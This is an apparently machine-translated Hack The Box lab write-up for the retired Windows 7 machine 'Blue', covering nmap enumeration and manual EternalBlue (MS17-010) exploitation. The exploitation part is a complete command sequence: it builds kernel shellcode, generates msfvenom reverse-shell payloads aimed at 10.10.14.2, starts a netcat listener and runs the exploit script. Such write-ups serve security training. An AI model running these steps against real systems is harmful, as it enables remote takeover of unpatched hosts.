{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-windows-blue-2-en","result":{"data":{"markdownRemark":{"id":"f9335855-cfdc-5b2b-be2b-8429a98a8cf9","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I use the penetration-testing learning platform “Hack The Box” to study security.\nAt the time of writing, my rank on Hack The Box is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This time I am writing up the retired HackTheBox machine “Blue”.

\n\n

About This Article

\n

The content of this article is not intended to encourage acts that are contrary to social order.

\n

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

I started with a quick scan as usual.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.40  $RHOST/g' /etc/hosts\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\nPORT      STATE SERVICE      VERSION\n135/tcp   open  msrpc        Microsoft Windows RPC\n139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn\n445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)\n49152/tcp open  msrpc        Microsoft Windows RPC\n49153/tcp open  msrpc        Microsoft Windows RPC\n49154/tcp open  msrpc        Microsoft Windows RPC\n49155/tcp open  msrpc        Microsoft Windows RPC\n49156/tcp open  msrpc        Microsoft Windows RPC\n49157/tcp open  msrpc        Microsoft Windows RPC\nHost script results:\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n| smb2-time: \n|   date: 2022-07-27T11:37:27\n|_  start_date: 2022-07-27T11:34:22\n| smb2-security-mode: \n|   2.1: \n|_    Message signing enabled but not required\n| smb-os-discovery: \n|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)\n|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional\n|   Computer name: haris-PC\n|   NetBIOS computer name: HARIS-PC\\x00\n|   Workgroup: WORKGROUP\\x00\n|_  System time: 2022-07-27T12:37:26+01:00\n|_clock-skew: mean: -19m57s, deviation: 34m36s, median: 1s
\n

Several ports related to Windows Remote Procedure Call were open.

\n

Since the platform is Windows 7 Professional 7601 Service Pack 1 with an SMB port open, EternalBlue seemed like a viable attack.

\n

Exploit

\n

I ran checker.py from GitHub - worawit/MS17-010: MS17-010, but none of the pipe names were accessible.

\n
$ python eternalchecker.py 10.10.10.40\nTarget OS: Windows 7 Professional 7601 Service Pack 1\nThe target is not patched\n\n=== Testing named pipes ===\nspoolss: STATUS_ACCESS_DENIED\nsamr: STATUS_ACCESS_DENIED\nnetlogon: STATUS_ACCESS_DENIED\nlsarpc: STATUS_ACCESS_DENIED\nbrowser: STATUS_ACCESS_DENIED
\n

I also ran eternalblue_exploit7.py from the same repository with a payload I created, but could not get a shell.

\n
$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 > shellcode\n$ python exploit.py 10.10.10.40 shellcode \nshellcode size: 324\nnumGroomConn: 13\nTarget OS: Windows 7 Professional 7601 Service Pack 1\nSMB1 session setup allocate nonpaged pool success\nSMB1 session setup allocate nonpaged pool success\ngood response status: INVALID_PARAMETER\ndone
\n

Since no pipe name was found, I looked for other exploits.

\n
$ searchsploit eternal\n----------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                           |  Path\n----------------------------------------------------------------------------------------- ---------------------------------\nEternal Lines Web Server 1.0 - Remote Denial of Service                                  | multiple/dos/25075.pl\nEternalMart Guestbook 1.10 - '/admin/auth.php' Remote File Inclusion                     | php/webapps/2980.txt\nEternalMart Mailing List Manager 1.32 - Remote File Inclusion                            | php/webapps/23218.txt\nMicrosoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code  | windows/remote/43970.rb\nMicrosoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)         | windows/remote/42031.py\nMicrosoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Executio | windows/remote/42315.py\nMicrosoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-01 | windows_x86-64/remote/42030.py\n----------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results
\n

So I switched to using MS17-010/eternalblue_exploit7.py.

\n
git clone https://github.com/worawit/MS17-010\n\nnasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin\nmsfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.2 --platform windows -a x64 --format raw -o sc_x64_payload.bin\ncat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin\n\nnasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin\nmsfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.10.14.2 --platform windows -a x86 --format raw -o sc_x86_payload.bin\ncat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin\n\npython2.7 MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin\n\nifconfig tun0 mtu 1400\nsudo nc -nlvp 443\npython MS17-010/eternalblue_exploit7.py 10.10.10.40 sc_all.bin
\n

I followed the steps below for the actual exploit procedure.

\n

For some reason, setting the payload port to 4444 did not work, but changing it to 443 succeeded (why?).

\n

Reference: MS17-010 EternalBlue Manual Exploitation | root4loot

\n

\n \n